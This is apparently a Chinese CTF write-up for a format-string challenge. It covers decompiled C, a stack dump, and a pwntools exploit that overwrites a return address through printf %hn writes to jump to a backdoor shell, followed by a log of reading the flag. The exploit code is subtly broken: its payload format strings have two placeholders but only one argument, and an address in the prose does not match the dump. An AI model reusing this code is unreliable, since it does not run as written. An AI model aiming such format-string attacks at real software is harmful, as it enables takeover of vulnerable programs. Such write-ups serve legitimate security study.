

## ez\_fmt wp

```
int str_test()
{
    int result; // eax

    puts("Welcome to SU_ezstr");
    while ( 1 )
    {
        printf("Input your message: ");
        read(0, bss_buf, 0xFFuLL);
        result = strcmp(bss_buf, "su str done!");
        if ( !result )
            break;
        byte_40419F = 0;
        puts("Message saved.");
        puts("Your message:");
        printf(bss_buf);
        puts(&byte_402057);
    }
    return result;
}
```

简单的格式化字符串题目，printf有问题，不过要注意，我们通过read输入的字符串保存在bss段上而不是栈上，给出了后门，则目标是跳转到shell即可

```
stack 0x30
rbp rsp 0x7ffe3e99c1a0 → 0x7ffe3e99c1b0 ← 1
+008 0x7ffe3e99c1a8 → 0x40130d (main+108) ← mov eax, 0
r9 0x7ffe3e99c1b0 ← 1
+018 0x7ffe3e99c1b8 → 0x7f1512b74d90 (__libc_start_call_main+128) ← mov edi, eax
+020 0x7ffe3e99c1c0 ← 0
+028 0x7ffe3e99c1c8 → 0x4012a1 (main) ← endbr64
+030 0x7ffe3e99c1d0 ← 0x13e99c2b0
+038 0x7ffe3e99c1d8 → 0x7ffe3e99c2c8 → 0x7ffe3e99dcbd ← 0x6c6c6168632f2e /* './chall' */
+040 0x7ffe3e99c1e0 ← 0
+048 0x7ffe3e99c1e8 ← 0xec192f9befef2c02
+050 0x7ffe3e99c1f0 → 0x7ffe3e99c2c8 → 0x7ffe3e99dcbd ← 0x6c6c6168632f2e /* './chall' */
+058 0x7ffe3e99c1f8 → 0x4012a1 (main) ← endbr64
+060 0x7ffe3e99c200 → 0x403e18 (__do_global_dtors_aux_fini_array_entry) → 0x4011a0 (__do_global_dtors_aux) ← endbr64
+068 0x7ffe3e99c208 → 0x7f1512db0040 (_rtld_global) → 0x7f1512db12e0 ← 0
+070 0x7ffe3e99c210 ← 0x13e552a86c6d2c02
+078 0x7ffe3e99c218 ← 0x12330af575652c02
+080 0x7ffe3e99c220 ← 0x7f1500000000
+088 0x7ffe3e99c228 ← 0
+090 0x7ffe3e99c230 ← 0
+098 0x7ffe3e99c238 ← 0
```

通过动态调试，可以泄露栈地址，我们的目标是通过修改rbp+8位置的返回值为后门地址，拿到shell，通过第二个，通过对+38位置处进行修改，将其指向返回地址，即将0x7ffe3e99dfbd修改为0x7ffe3e99c1a8，再在栈上找到0x7ffe3e99c2c8的位置，就可以对后门地址进行修改了，最后拿到shell：

```
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xf bytes:
    b'chall\n'
    b'flag.txt\n'
chall
flag.txt
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x28 bytes:
    b'MOCSCTF{gR8^WY0tzi!PfS9k_LMATxQ3VuEjb7d}'
MOCSCTF{gR8^WY0tzi!PfS9k_LMATxQ3VuEjb7d}$
```

给出exp:

```
from pwn import *
from LibcSearcher import *
from ae64 import AE64
from ctypes import cdll

filename = './chall'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('localhost', 9999 )
```

```

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid, parma)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

shell=0x40128c
# debug('b *0x401270')
sh.sendafter('Input your message:', b'%6$p')
# pause()
sh.recvuntil('message:\n')
stack=int(sh.recv(14), 16)
ret_addr=stack-0x8#rbp+8
leak_info('ret_addr', ret_addr)
leak_info('shell', shell)

payload = "{}{}c%13$hn".format((ret_addr & 0xffff))
sh.sendafter('Input your message:', payload)

payload = "{}{}c%43$hn".format((shell & 0xffff))
sh.sendafter('Input your message:', payload)

payload=b'su str done!\x00'
sh.sendafter('Input your message:', payload)
sh.interactive()

```